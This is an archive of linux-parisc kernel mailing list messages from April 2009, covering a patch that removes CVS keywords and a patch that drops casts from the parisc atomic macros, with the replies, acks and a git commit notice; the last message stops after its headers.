X-Google-Sender-Auth: f6a50d29e44ea80e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1484>

On Fri, Apr 3, 2009 at 7:58 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Fri, Apr 03, 2009 at 05:49:22AM +0400, Alexander Beregalov wrote:
>>
>> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
>
> I don't feel comfortable removing these for hysterical raisins, unless
> people on the list ack this.

Well I clearly have no say regarding those specific files, but it
seems to me like these CVS Id tags are completely meaningless, anyway
you want to look at them. They barely refer to the last person having
touched these files in our *CVS* tree, which hasn't been touched in
ice ages...

Copyright information is stored elsewhere, and historical trivia can
still be found in said CVS tree.

Plus, I may be wrong but ISTR back in the days when we were still
using CVS that these very tags were frowned upon as they were the
source of merge conflicts (I'm pretty sure there were some emails
about that years ago, though I can't seem to find them online).

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove CVS keywords
Date: Sat, 4 Apr 2009 13:14:27 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20090404191426.GA13748@parisc-linux.org>
References: <20090403014922.GA28891@orion> <20090403175849.GJ14159@bombadil.infradead.org> <20090404060958.GA1116@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238872484 25194 80.91.229.12 (4 Apr 2009 19:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Apr 2009 19:14:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 04 21:16:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqBLT-0002Ep-O7
	for glpp-linux-parisc@gmane.org; Sat, 04 Apr 2009 21:16:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755353AbZDDTOb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 15:14:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755424AbZDDTOb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 15:14:31 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:39572 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755353AbZDDTOb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 15:14:31 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 5F31F49400B; Sat,  4 Apr 2009 13:14:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090404060958.GA1116@lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1485>

On Sat, Apr 04, 2009 at 12:09:58AM -0600, Grant Grundler wrote:
> On Fri, Apr 03, 2009 at 01:58:49PM -0400, Kyle McMartin wrote:
> > On Fri, Apr 03, 2009 at 05:49:22AM +0400, Alexander Beregalov wrote:
> > > 
> > > Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
> > 
> > I don't feel comfortable removing these for hysterical raisins, unless
> > people on the list ack this.
> 
> I don't mind them being removed. The history is preserved else
> where for whoever wants to look.  Please add my
> 	Ack-by: Grant Grundler <grundler@parisc-linux.org>
> 
> to whatever parts of this patch you care to accept.

I'm comfortable with removing the $Id$ tags too.  Generally these have
been in copy-and-pasted files; we weren't relying on them for anything.

Acked-by: Matthew Wilcox <willy@linux.intel.com>

> > (Just like I wouldn't remove the "sorry
> > about the wall" comment... :)
> 
> Sorry, I've no clue about this one...what's the story? :)

Find the file it's in ... look at the history ... you'll get it
eventually ;-)  You'll probably have to go back to the 2.2 tree though.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bastian Blank <waldi@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Remove casts from atomic macros
Date: Sat, 4 Apr 2009 22:54:26 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20090404205426.GA27225@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1238878929 7976 80.91.229.12 (4 Apr 2009 21:02:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Apr 2009 21:02:09 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 04 23:03:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqD1Q-000275-Ln
	for glpp-linux-parisc@gmane.org; Sat, 04 Apr 2009 23:03:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751027AbZDDVB7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 17:01:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754005AbZDDVB7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 17:01:59 -0400
Original-Received: from wavehammer.waldi.eu.org ([82.139.201.20]:51620 "EHLO
	wavehammer.waldi.eu.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751027AbZDDVB6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 17:01:58 -0400
X-Greylist: delayed 447 seconds by postgrey-1.27 at vger.kernel.org; Sat, 04 Apr 2009 17:01:58 EDT
Original-Received: by wavehammer.waldi.eu.org (Postfix, from userid 1000)
	id D81EF54201; Sat,  4 Apr 2009 22:54:26 +0200 (CEST)
Mail-Followup-To: Bastian Blank <waldi@debian.org>,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1486>

The atomic operations on parisc are defined as macros. The macros
includes casts which disallows the use of some syntax elements and
produces error like this:

net/phonet/pep.c: In function 'pipe_rcv_status':
net/phonet/pep.c:262: error: lvalue required as left operand of assignment

The patch removes this superfluous casts.

Signed-off-by: Bastian Blank <waldi@debian.org>

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index edbfe25..43e101b 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -222,13 +222,13 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
 
-#define atomic_add(i,v)	((void)(__atomic_add_return( ((int)i),(v))))
-#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int)i),(v))))
+#define atomic_add(i,v)	((void)(__atomic_add_return( (i),(v))))
+#define atomic_sub(i,v)	((void)(__atomic_add_return(-(i),(v))))
 #define atomic_inc(v)	((void)(__atomic_add_return(   1,(v))))
 #define atomic_dec(v)	((void)(__atomic_add_return(  -1,(v))))
 
-#define atomic_add_return(i,v)	(__atomic_add_return( ((int)i),(v)))
-#define atomic_sub_return(i,v)	(__atomic_add_return(-((int)i),(v)))
+#define atomic_add_return(i,v)	(__atomic_add_return( (i),(v)))
+#define atomic_sub_return(i,v)	(__atomic_add_return(-(i),(v)))
 #define atomic_inc_return(v)	(__atomic_add_return(   1,(v)))
 #define atomic_dec_return(v)	(__atomic_add_return(  -1,(v)))
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove CVS keywords
Date: Sat, 4 Apr 2009 22:49:02 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090405024902.GA17936@bombadil.infradead.org>
References: <20090403014922.GA28891@orion> <20090403175849.GJ14159@bombadil.infradead.org> <20090404060958.GA1116@lackof.org> <20090404191426.GA13748@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238899760 15430 80.91.229.12 (5 Apr 2009 02:49:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Apr 2009 02:49:20 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 05 04:50:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqIRP-0005zG-Vw
	for glpp-linux-parisc@gmane.org; Sun, 05 Apr 2009 04:50:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756697AbZDECtK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 22:49:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756700AbZDECtK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 22:49:10 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51053 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756697AbZDECtI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 22:49:08 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LqIPu-0000wi-I9; Sun, 05 Apr 2009 02:49:02 +0000
Content-Disposition: inline
In-Reply-To: <20090404191426.GA13748@parisc-linux.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1487>

On Sat, Apr 04, 2009 at 01:14:27PM -0600, Matthew Wilcox wrote:
> I'm comfortable with removing the $Id$ tags too.  Generally these have
> been in copy-and-pasted files; we weren't relying on them for anything.
> 
> Acked-by: Matthew Wilcox <willy@linux.intel.com>
> 

Yeah, looks like cvs.parisc-linux.org had -ko set for *ages* anyway,
so they're even stale wrt cvs.

nuked.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove casts from atomic macros
Date: Sat, 4 Apr 2009 22:56:58 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20090405025658.GB17936@bombadil.infradead.org>
References: <20090404205426.GA27225@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238900230 16066 80.91.229.12 (5 Apr 2009 02:57:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Apr 2009 02:57:10 +0000 (UTC)
To: Bastian Blank <waldi@debian.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 05 04:58:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqIZ1-00070n-WD
	for glpp-linux-parisc@gmane.org; Sun, 05 Apr 2009 04:58:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756703AbZDEC5B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 22:57:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756715AbZDEC5B
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 22:57:01 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53110 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756703AbZDEC5A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 22:57:00 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LqIXa-00022o-BG; Sun, 05 Apr 2009 02:56:58 +0000
Content-Disposition: inline
In-Reply-To: <20090404205426.GA27225@wavehammer.waldi.eu.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1488>

On Sat, Apr 04, 2009 at 10:54:26PM +0200, Bastian Blank wrote:
> The atomic operations on parisc are defined as macros. The macros
> includes casts which disallows the use of some syntax elements and
> produces error like this:
> 
> net/phonet/pep.c: In function 'pipe_rcv_status':
> net/phonet/pep.c:262: error: lvalue required as left operand of assignment
> 
> The patch removes this superfluous casts.
> 
> Signed-off-by: Bastian Blank <waldi@debian.org>
> 

Applied. Thanks.
(Man that phonet thing is stupid code though...)

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Sun, 5 Apr 2009 03:01:19 GMT
Lines: 47
Approved: news@gmane.org
Message-ID: <200904050301.n3531JsP010509@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238900491 16695 80.91.229.12 (5 Apr 2009 03:01:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Apr 2009 03:01:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 05 05:02:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqIdF-0007aw-3N
	for glpp-linux-parisc@gmane.org; Sun, 05 Apr 2009 05:02:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756715AbZDEDBX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 23:01:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756719AbZDEDBX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 23:01:23 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:49274 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756715AbZDEDBW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 23:01:22 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+eY9lKLtVGBx3MtknkC3xc9LneUIal2LU@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n3531Jhj010511
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 5 Apr 2009 03:01:19 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n3531JsP010509
	for linux-parisc@vger.kernel.org; Sun, 5 Apr 2009 03:01:19 GMT
X-Virus-Scanned: ClamAV 0.93.3/9204/Sat Apr  4 01:22:15 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 05 Apr 2009 03:01:21 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1489>

New commits:
commit 0037a0f677821cf81eb14c6bf70ce6d47100adba
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Apr 5 02:53:47 2009 +0000

    parisc: kill WARN in free_initmem when DEBUG_KERNEL
    
    Doing an IPI with local interrupts off triggers a warning. We
    don't need to be quite so ridiculously paranoid. Also, clean up
    a bit of the code a little.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 5fbbf6620fedd54a96267c0b6da7349e62c8473b
Author: Bastian Blank <waldi@debian.org>
Date:   Sat Apr 4 20:54:26 2009 +0000

    parisc: Remove casts from atomic macros
    
    The atomic operations on parisc are defined as macros. The macros
    includes casts which disallows the use of some syntax elements and
    produces error like this:
    
    net/phonet/pep.c: In function 'pipe_rcv_status':
    net/phonet/pep.c:262: error: lvalue required as left operand of assignment
    
    The patch removes this superfluous casts.
    
    Signed-off-by: Bastian Blank <waldi@debian.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 010bbfe92ba9c90f2b7de770c575338056e9d798
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Fri Apr 3 01:49:22 2009 +0000

    parisc: remove CVS keywords
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Acked-by: Matthew Wilcox <willy@linux.intel.com>
    Acked-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove casts from atomic macros
Date: Sun, 5 Apr 2009 11:04:27 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20090405170427.GA25876@lackof.org>
References: <20090404205426.GA27225@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238951084 25987 80.91.229.12 (5 Apr 2009 17:04:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Apr 2009 17:04:44 +0000 (UTC)
To: Bastian Blank <waldi@debian.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 05 19:06:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqVnC-0008MO-FE
	for glpp-linux-parisc@gmane.org; Sun, 05 Apr 2009 19:05:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751121AbZDEREb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Apr 2009 13:04:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751454AbZDEREa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Apr 2009 13:04:30 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:56433 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751121AbZDEREa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Apr 2009 13:04:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id F35C033E023E;
	Sun,  5 Apr 2009 11:04:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ytroUNEGMDgl; Sun,  5 Apr 2009 11:04:27 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id A55D133E0268; Sun,  5 Apr 2009 11:04:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090404205426.GA27225@wavehammer.waldi.eu.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1490>

On Sat, Apr 04, 2009 at 10:54:26PM +0200, Bastian Blank wrote:
> The atomic operations on parisc are defined as macros. The macros
> includes casts which disallows the use of some syntax elements and
> produces error like this:
> 
> net/phonet/pep.c: In function 'pipe_rcv_status':
> net/phonet/pep.c:262: error: lvalue required as left operand of assignment
> 
> The patch removes this superfluous casts.

Since parisc is "special" for atomic ops, I was worried we would
introduce new warnings into the build because __atomic_add_return()
takes an int as a parameter. No new warnings for my 64-bit build.

thanks,
grant

> 
> Signed-off-by: Bastian Blank <waldi@debian.org>
> 
> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> index edbfe25..43e101b 100644
> --- a/arch/parisc/include/asm/atomic.h
> +++ b/arch/parisc/include/asm/atomic.h
> @@ -222,13 +222,13 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
>  
>  #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
>  
> -#define atomic_add(i,v)	((void)(__atomic_add_return( ((int)i),(v))))
> -#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int)i),(v))))
> +#define atomic_add(i,v)	((void)(__atomic_add_return( (i),(v))))
> +#define atomic_sub(i,v)	((void)(__atomic_add_return(-(i),(v))))
>  #define atomic_inc(v)	((void)(__atomic_add_return(   1,(v))))
>  #define atomic_dec(v)	((void)(__atomic_add_return(  -1,(v))))
>  
> -#define atomic_add_return(i,v)	(__atomic_add_return( ((int)i),(v)))
> -#define atomic_sub_return(i,v)	(__atomic_add_return(-((int)i),(v)))
> +#define atomic_add_return(i,v)	(__atomic_add_return( (i),(v)))
> +#define atomic_sub_return(i,v)	(__atomic_add_return(-(i),(v)))
>  #define atomic_inc_return(v)	(__atomic_add_return(   1,(v)))
>  #define atomic_dec_return(v)	(__atomic_add_return(  -1,(v)))
>  
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Remove casts from atomic macros
Date: Sun, 05 Apr 2009 13:42:38 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1238956958.6954.2.camel@mulgrave.int.hansenpartnership.com>
References: <20090404205426.GA27225@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238956972 11329 80.91.229.12 (5 Apr 2009 18:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Apr 2009 18:42:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Bastian Blank <waldi@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 05 20:44:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LqXKD-0002hq-9N
	for glpp-linux-parisc@gmane.org; Sun, 05 Apr 2009 20:44:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752272AbZDESmn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Apr 2009 14:42:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752344AbZDESmn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Apr 2009 14:42:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47781 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752216AbZDESmn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Apr 2009 14:42:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5679C8EE277;
	Sun,  5 Apr 2009 11:42:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JarFFbs9J4f6; Sun,  5 Apr 2009 11:42:41 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 841168EE037;
	Sun,  5 Apr 2009 11:42:40 -0700 (PDT)
In-Reply-To: <20090404205426.GA27225@wavehammer.waldi.eu.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
